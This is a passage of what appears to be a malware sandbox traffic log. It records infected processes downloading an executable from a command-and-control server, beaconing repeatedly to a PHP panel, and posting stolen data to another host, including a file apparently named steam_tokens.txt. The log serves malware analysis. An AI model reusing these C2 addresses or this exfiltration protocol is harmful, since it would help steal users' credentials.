Jul 26, 2024 13:49:30.987498045 CEST	1236	IN	Data Raw: 3d fc e5 69 02 2c 78 97 07 fd e7 7b 85 8f 3d ae e9 48 e6 3d ae 24 d8 83 74 f8 1e cd 89 0c 60 0d be 26 99 0c 4b 1b d8 07 98 4e 3c de bd 3b f4 c5 be 53 71 cd a1 1c 80 c5 c9 7b 67 16 7c a3 27 c2 94 e2 90 73 78 f2 a5 c8 27 97 3c 04 8f a2 e8 93 12 df Data Ascii: =i,x{=H=$t`&KN<;Sq{g\|'sx'<)ud7BK66 !fOHY$CEo6Cn"K>1pz? ]\wKlC n14l`}"Whh.(,FKqMcq=N>)o?@<<V4
Jul 26, 2024 13:49:30.987509966 CEST	1236	IN	Data Raw: 58 61 c2 ed 91 0b 6f 3d 0c 62 90 c4 b5 92 f3 3a 30 a2 aa 5a 66 af 97 ec 0d 45 38 09 1c 96 e5 a7 0b df 2b 71 e6 30 6f f5 61 87 48 f5 26 03 1f 0f b2 f5 3b ea b3 5d e8 f4 35 86 f1 17 6e 1b d4 21 38 ad 06 48 2f 0c 70 6a f1 ed 1e 79 02 43 72 b2 2e 7e Data Ascii: Xao=b:0ZfE8+q0oaH&;]5n!8H/pjyCr.~9JBIjOl}#5,ozChwJY=BWOK,9D02J,+!D)9eBLj1szy'vp0~V$6gNHkQU5.+1<Ksb2Ie ><
Jul 26, 2024 13:49:30.987750053 CEST	1236	IN	Data Raw: e0 f8 28 ca 70 12 8e 8b 52 74 f1 a7 93 41 c2 a5 02 18 20 10 0f 73 10 be 29 9b 9d 36 f4 71 a4 fe f8 fc 55 cc 4b 2a 0e cc 6d 22 e4 3f d4 ab 37 5e 7e b6 43 57 48 2d 46 e1 9e 17 b3 a6 1a 2f 6c 51 51 9f 6b 81 69 e7 35 02 38 fc f8 ec 34 3a eb f7 52 ce Data Ascii: (pRtA s)6qUKm"?7^~CWH-F/lQQki584:RBp#-o%LStL4?ENu;qHo?4ra^uKry_e{f<?{EIlvAaqbf3Tp9hrO{-ij&k\D8'M*nO
Jul 26, 2024 13:49:30.991810083 CEST	1236	IN	Data Raw: e3 94 36 d4 7f e2 c7 1f ce 8b 75 32 3a 30 ea 27 fe 11 00 c5 c6 7a 65 35 3c a9 fb 4a 0c dc 2c df f6 a6 ef 53 c0 31 18 ca e9 53 36 fe a2 6d 29 1d 10 32 c6 ef bf 27 18 67 06 46 07 8d 3e 8b f5 42 3a af df 14 f5 bb 35 f0 55 8f af 0a ff bf 86 ab 0d 0b Data Ascii: 6u2:0'ze5<J,S1S6m)2'gF>B:5UtS=oolPF`csFR&3%\%85;82\\|0wCl"Tn~9^j)az1f+e,J9QkvJN~_$x6Fl_v=$drI*6Gng
Jul 26, 2024 13:49:33.620167017 CEST	79	OUT	GET /mine/enter.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Jul 26, 2024 13:49:33.865914106 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:33 GMT Content-Type: application/octet-stream Content-Length: 1870848 Last-Modified: Fri, 26 Jul 2024 11:16:43 GMT Connection: keep-alive ETag: "66a3859b-1c8c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 10 41 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 a0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PELAfJ@JB@WkJJ @.rsrc@.idata @ `*@axajwlnp1t@ubpicycuJf@.taggant0J"j@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	59059	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:31.218651056 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:31.989854097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:32.115840912 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:32.377847910 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	59062	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:32.495233059 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:33.277229071 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:33.278168917 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:33.531191111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	59067	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:33.653875113 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:34.400130987 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:34.683499098 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:34.944782972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	59072	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:35.086019993 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:35.842618942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:35.843343973 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:36.096898079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	59073	85.28.47.31	80	3152	C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:36.110063076 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIECFBAAAFHIIDGCGCBF Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="file"------FIECFBAAAFHIIDGCGCBF--
Jul 26, 2024 13:49:37.085021973 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 13:49:37.276048899 CEST	463	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGDHCGCBKFHJKEBKFBF Host: 85.28.47.31 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 2d 2d 0d 0a Data Ascii: ------HDGDHCGCBKFHJKEBKFBFContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------HDGDHCGCBKFHJKEBKFBFContent-Disposition: form-data; name="message"files------HDGDHCGCBKFHJKEBKFBF--
Jul 26, 2024 13:49:37.459166050 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 13:49:37.463007927 CEST	470	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCBFCBFBKFHIECAFCF Host: 85.28.47.31 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 2d 2d 0d 0a Data Ascii: ------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KEGCBFCBFBKFHIECAFCF--
Jul 26, 2024 13:49:38.048928022 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	59074	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:36.232274055 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:37.033257008 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:37.213525057 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:37.503046036 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	59076	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:37.680983067 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:38.513346910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:38.518090963 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:38.771342993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	59079	85.28.47.31	80	9104	C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:38.295948029 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 26, 2024 13:49:38.926949978 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 13:49:38.931071997 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJEHJJKJEGHJJKEBFBG Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 44 41 31 44 41 37 38 35 35 44 37 32 32 38 34 35 38 32 31 32 37 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 2d 2d 0d 0a Data Ascii: ------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="hwid"8DA1DA7855D72284582127------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="build"sila------HJJEHJJKJEGHJJKEBFBG--
Jul 26, 2024 13:49:39.112267017 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	59080	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:38.897357941 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:39.695625067 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
